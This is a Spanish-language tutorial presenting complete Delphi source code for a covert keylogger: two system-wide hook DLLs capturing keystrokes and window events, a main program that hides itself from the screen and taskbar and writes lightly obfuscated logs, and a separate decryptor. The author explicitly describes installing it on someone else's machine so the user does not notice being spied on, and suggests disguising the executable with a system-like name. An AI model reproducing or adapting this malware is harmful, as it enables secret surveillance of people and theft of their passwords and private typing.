Keylogger en Delphin o Pascal

A continuación se presenta el código de un programa en Delphi, cuya función es estar de forma oculta en el sistema y registrar todo lo que el usuario teclea y todas las ventanas que activa, abandona, destruye… 
Lo primero que se hace es crear dos dll, para instalar a nivel de sistemas las funciones que capturen estos eventos, una dll se va a ocupar del teclado y la otra de los eventos de ventanas.
Abrimos Delphi y hacemos clic en nuevo proyecto, luego en Dll Wizard. Aquí copiamos el siguiente código, el cual le agradecemos a Radikal:

library HookShell;
{Demo de Hook de Shell a nivel de sistema, Radikal.} 
uses
  Windows,
  Messages;
const
 CM_CHIVATO = WM_USER + $1000;
 
var 
 HookDeShell     : HHook;
 FicheroM    : THandle;
 PReceptor   : ^Integer;
 
function CallBackDelHook( Code    : Integer;
                          wParam  : WPARAM;
                          lParam  : LPARAM
                          )       : LRESULT; stdcall;
 
{Esta es la funcion CallBack a la cual llamará el hook.}
begin 
 if code >=0 then 
 begin 
  {Miramos si existe el fichero}
  FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor');
  {Si no existe, no enviamos nada a la aplicacion receptora}
  if FicheroM<>0 then 
  begin 
    PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);
    PostMessage(PReceptor^,CM_CHIVATO,wParam,Code);
    UnmapViewOfFile(PReceptor);
    CloseHandle(FicheroM);
  end; 
 end; 
 {Llamamos al siguiente hook de la cadena}
 {call to next hook of the chain}
 Result := CallNextHookEx(HookDeShell, Code, wParam, lParam)
end; 

procedure WHookOn; stdcall;
{Procedure que instala el hook}
begin 
  HookDeShell:=SetWindowsHookEx(WH_SHELL, @CallBackDelHook, HInstance , 0);
end; 
 
procedure WHookOff;  stdcall;
begin 
{procedure para desinstalar el hook}
{procedure to uninstall the hook}
  UnhookWindowsHookEx(HookDeShell);
end; 
 
exports 
{Exportamos las procedures...}
{Export the procedures}
 WHookOn,
 WHookOff;
 
begin 
end.

Compilamos… con ctrl.+f9 y ya se ha creado la primera Dll, le cambiamos el nombre a: hs.dll

Volvemos a dar clic en nuevo proyecto y volvemos a elegir Dll.
Esta ves ponemos el siguiente código, que también le agradecemos a Radikal por su publicación libre:

library HookTeclado;
 
{
Demo de Hook de teclado a nivel de sistema, Radikal.
Como lo que queremos es capturar las teclas pulsadas en cualquier parte de Windows, necesitamos instalar la funcion CallBack a la que llamará el Hook en una DLL, que es ésta misma.
}
 
uses
  Windows,
  Messages;

const
 CM_MANDA_TECLA = WM_USER + $1000;
 
var 
 HookDeTeclado     : HHook;
 FicheroM    : THandle;
 PReceptor   : ^Integer;
 
function CallBackDelHook( Code    : Integer;
                          wParam  : WPARAM;
                          lParam  : LPARAM
                          )       : LRESULT; stdcall;
 
{Esta es la funcion CallBack a la cual llamará el hook.}

begin 
 {Si una tecla fue pulsada o liberada}
 if code=HC_ACTION then 
 begin
  {Miramos si existe el fichero}
  FicheroM:=OpenFileMapping(FILE_MAP_READ,False,'ElReceptor');
  {Si no existe, no enviamos nada a la aplicacion receptora}
  if FicheroM<>0 then
  begin 
    PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_READ,0,0,0);
    PostMessage(PReceptor^,CM_MANDA_TECLA,wParam,lParam);
    UnmapViewOfFile(PReceptor);
    CloseHandle(FicheroM);
  end; 
 end; 
 {Llamamos al siguiente hook de teclado de la cadena}
 Result := CallNextHookEx(HookDeTeclado, Code, wParam, lParam)
end; 
 
procedure HookOn; stdcall;
{Procedure que instala el hook}
begin
  HookDeTeclado:=SetWindowsHookEx(WH_KEYBOARD, @CallBackDelHook, HInstance , 0);
end; 
 
procedure HookOff;  stdcall;
begin 
{procedure para desinstalar el hook}
  UnhookWindowsHookEx(HookDeTeclado);
end; 
 
exports 
{Exportamos las procedures...}
 HookOn,
 HookOff;
begin 
end.

Compilamos con ctrl+f9 y a la dll le ponemos como nombre ht.dll

Ahora vamos al programa principal, el que se encarga de usar las funciones de las dll.
Creamos un nuevo proyecto, esta vez un proyecto Windows application.
Al form le damos las siguientes propiedades en el inspector de objetos:
Vaciamos el Caption.
Ponemos en Color clMaroon.
Ponemos en TransparentColorValue clMaroon. 
Ponemos en TransparentColor True
Insertamos un Memo, y en su propiedad Visible le damos False;

Para darle un ícono transparente al form vamos al Image Editor de Delphi y le decimos  nuevo archivo del tipo .ico, cuando cree el icono lo guardamos así mismo para que se quede en blanco. Vamos en Delphi al menú Project-Options-Application hacemos clic en el botón Load Icon y cargamos el icono que creamos anteriormente. Todo esto lo hacemos para que el form no sea visible y pase de la forma desapercibida posible.

Ahora vamos a los eventos del form: el form tiene como eventos OnCreate, OnDestroy y OnShow.
Y su código es:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, StrUtils;

const 
  NombreDLL       = 'ht.dll';
  CM_MANDA_TECLA  = WM_USER + $1000;
  WNombreDLL       = 'hs.dll';
  WCM_CHIVATO      = WM_USER + $1000;

type
  THookTeclado=procedure; stdcall;
   WTHookTeclado=procedure; stdcall;

type
  TForm1 = class(TForm)
    Memo1: TMemo;
    procedure FormShow(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
    function  Encript(Contra: String): String;
  private
    { Private declarations }
    FicheroM       : THandle;
    PReceptor      : ^Integer;
    HandleDLL      : THandle;
    HookOn,
    HookOff        : THookTeclado;

    WFicheroM       : THandle;
    WPReceptor      : ^Integer;
    WHandleDLL      : THandle;
    WHookOn,
    WHookOff        : WTHookTeclado;

    procedure LlegaDelHook(var message: TMessage); message  CM_MANDA_TECLA;
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Anterior: String;
  NombreArchivo: String;

implementation

{$R *.DFM}

function Sustituir(esto,por_esto,en_esto: String): String;
 begin

 while Pos(esto,en_esto)<>0 do
  en_esto := LeftSTr(en_esto,Pos(esto,en_esto)-1)+
            por_esto+
            RightStr(en_esto,Length(en_esto)-Pos(esto,en_esto));

 Result := en_esto;
 end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  {No queremos que el Memo maneje el teclado...}
  Memo1.ReadOnly:=TRUE;

  HandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+
                                NombreDLL ) );
  WHandleDLL:=LoadLibrary( PChar(ExtractFilePath(Application.Exename)+
                                WNombreDLL ) );

  if HandleDLL = 0 then raise Exception.Create('No se pudo cargar la DLL');
  if WHandleDLL = 0 then raise Exception.Create('No se pudo cargar la DLL');


  @HookOn :=GetProcAddress(HandleDLL, 'HookOn');
  @HookOff:=GetProcAddress(HandleDLL, 'HookOff');
  @WHookOn :=GetProcAddress(WHandleDLL, 'WHookOn');
  @WHookOff:=GetProcAddress(WHandleDLL, 'WHookOff');

  if not assigned(HookOn) or
     not assigned(HookOff)  then
     raise Exception.Create('No se encontraron las funciones en la DLL');
  if not assigned(WHookOn) or
     not assigned(WHookOff)  then
     raise Exception.Create('No se encontraron las funciones en la DLL');

  {Creamos el fichero de memoria}
  FicheroM:=CreateFileMapping( $FFFFFFFF,
                              nil,
                              PAGE_READWRITE,
                              0,
                              SizeOf(Integer),
                              'ElReceptor');
  {Creamos el fichero de memoria}
  WFicheroM:=CreateFileMapping( $FFFFFFFF,
                              nil,
                              PAGE_READWRITE,
                              0,
                              SizeOf(Integer),
                              'WElReceptor');

   {Si no se creó el fichero, error}
   if FicheroM=0 then
     raise Exception.Create( 'Error al crear el fichero');
   {Si no se creó el fichero, error}
   if WFicheroM=0 then
     raise Exception.Create( 'Error al crear el fichero');


   {Direccionamos nuestra estructura al fichero de memoria}
   PReceptor:=MapViewOfFile(FicheroM,FILE_MAP_WRITE,0,0,0);
   WPReceptor:=MapViewOfFile(WFicheroM,FILE_MAP_WRITE,0,0,0);

   {Escribimos datos en el fichero de memoria}
   PReceptor^:=Handle;
   HookOn;

   WPReceptor^:=Handle;
   WHookOn;

end;

procedure TForm1.LlegaDelHook(var message: TMessage);
 function PillaTituloVentana(Mango:integer):string;
  var
    Titulo : string;
  begin
    Titulo:=StringOfChar(' ',200);
    GetWindowText( Message.WParam,
                   PChar(Titulo),200);
    Result:=Titulo;
  end;
var
   NombreTecla : array[0..100] of char;
   Accion      : string;
   Tecla: String;
   sTemp  : string;
begin
    sTemp:='Nada';
  case message.LParam of
    HSHELL_TASKMAN:
      sTemp:='[-Activada la barra de tareas-';
    HSHELL_WINDOWACTIVATED:
      sTemp:= '[-Activada:  '+
              PillaTituloVentana(Message.wParam);
    HSHELL_WINDOWCREATED:
      sTemp:= '[-Creada:    '+
              PillaTituloVentana(Message.wParam);
    HSHELL_WINDOWDESTROYED:
      sTemp:= '[-Destruida: '+
              PillaTituloVentana(Message.wParam);
  end;
  sTemp:=Trim(sTemp);
  if sTemp<>'Nada' then begin
                        Memo1.Lines.Add(Encript(sTemp+'-]'));
                        Anterior:=STemp;
                        end;

  ///
  {Traducimos de Virtual key Code a TEXTO}
    GetKeyNameText(Message.LParam,@NombreTecla,100);

  {Miramos si la tecla fué pulsada, soltada o repetida}
    if ((Message.lParam shr 31) and 1)=1
      then Accion:='Soltada' {Released}
  else
  if ((Message.lParam shr 30) and 1)=1
      then Accion:='Repetida' {repressed}
      else Accion:='Pulsada'; {pressed}

  Tecla:=String(NombreTecla);

  if Tecla='BARRA ESPACIADORA' then Tecla:=' ';
  if Length(Tecla)>1 then Tecla:='<'+Tecla+'>';

  if (Accion='Pulsada') and (Length(Tecla)=1) then
      with Memo1 do
       if Length(Anterior)>1 then begin
                                  Lines.Add('');
                                  Text:=Text+Encript(Tecla);
                                  end
                             else Text:=Text+Encript(Tecla);

  if (Accion='Pulsada') and (Length(Tecla)>1) then
      Memo1.Lines.Add(Encript(Tecla));

  Memo1.Lines.SaveToFile(NombreArchivo);
  Anterior:= Tecla;

  {Memo1.Lines.Append( Accion+
                      ' tecla: '+
                      String(NombreTecla) );}
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 {Desactivamos el Hook}
 if Assigned(HookOff) then HookOff;
 if Assigned(WHookOff) then WHookOff;

 {Liberamos la DLL}
 if HandleDLL<>0 then  FreeLibrary(HandleDLL);
 if WHandleDLL<>0 then  FreeLibrary(WHandleDLL);

 {Cerramos la vista del fichero y el fichero} 
 if FicheroM<>0 then
 begin
   UnmapViewOfFile(PReceptor);
   CloseHandle(FicheroM);
 end;

 if WFicheroM<>0 then
 begin
   UnmapViewOfFile(WPReceptor);
   CloseHandle(WFicheroM);
 end;

end;

procedure TForm1.FormShow(Sender: TObject);

begin

 // ocultar la aplicacion de la taskbar
 ShowWindow( Application.Handle, SW_HIDE );
 SetWindowLong( Application.Handle, GWL_EXSTYLE,
                 GetWindowLong(Application.Handle, GWL_EXSTYLE) or
                 WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
 ShowWindow( Application.Handle, SW_Hide );

 Anterior:='';

 //aquí se define y elimina los caracteres no permitidos en un file
  NombreArchivo:= DateTimeToStr(date)+
                  ' '+
                  RightStr(DateTimeToStr(Time),
                           Length(DateTimeToStr(Time))-
                           Length(DateTimeToStr(date)));
  NombreArchivo:=Sustituir('/','-',NombreArchivo);
  NombreArchivo:=Sustituir(':','-',NombreArchivo);
  NombreArchivo:=Sustituir('.','',NombreArchivo);
  NombreArchivo:=Sustituir('\','-',NombreArchivo)+'.lg';

end;

function TForm1.Encript(Contra: String): String; {este procesimiento encripta una determinada cadena, de forma muy sencilla}
var
 a,b: String;  //se declaran dos variables de tipo String
 i: Integer;  //se declara un contador incremental de tipo Integer
begin
 a:=Contra;                //a va a ser la cadena a encriptar
 b:='';
 for i:=1 to Length(a) do {ciclo para iniciar la encriptación paso a paso}

  if 255-ord(a[i])<=15 then b:=b+chr(ord(a[i])-15)
                       else b:=b+chr(ord(a[i])+15); //***se describe

 Result:=b;            //devolver la cadena encriptada
end;

end.

Luego de compilar esta Unit. Creamos otro proyecto para desencriptar los ficheros .lg que cree el programa principal… porque si instalamos nuestra aplicación en una máquina ajena si por casualidad el usuario decide abrir uno de estos ficheros no se de cuenta de forma directa de que lo estamos espiándo.

Creamos un nuevo proyecto, en la form insertamos un OpenDialog, en la propiedad filter déle el valor *.lg, para que abra este tipo de fichero. Y programamos en el evento OnShow del Form1:

procedure TForm1.FormShow(Sender: TObject);
var
   FromFile, ToFile: TextFile;
   i: Integer;
   a,b: String;
begin
   if OpenDialog1.Execute then
     begin
       AssignFile(FromFile, OpenDialog1.FileName);
       AssignFile(ToFile,OpenDialog1.FileName+'.txt');

       Reset(FromFile);
       ReWrite(ToFile);

       while not(eof(FromFile)) do
        begin
        b:='';
        ReadLN(FromFile,a);
        for i := 1 to Length(a) do
         if 255-ord(a[i])<=15 then b:=b+chr(ord(a[i])+15)
                               else b:=b+chr(ord(a[i])-15);
         WriteLn(ToFile,b);
        end;

       CloseFile(FromFile);
       CloseFile(ToFile);
      WinExec(PChar('notepad +OpenDialog1.FileName+'.txt'),SW_NORMAL);
     end;

   close;
end;

Compilamos por última vez y ya lo tenemos todo listo... para comprobar que todo haya salido bien. Ejecute el programa principal primero, al que le aconsejo que le ponga un nombre que parezca algo del sistema como msci.exe. Se debe crear un fichero con la fecha y hora como título y .lg. Abra alguna ventana y teclee algo. Lugo ejecute el decriptador y indique que el fichero que desea abrir es el que se recién creó, y se debe abrir un Block de Notas con el contenido del fichero desencriptado. Y verá como las ventanas con que trabajó y lo que ud. Tecleó aparece en el fichero de texto.

Cualquier pregunta o sugerencia escriba a delvalle@otepr.co.cu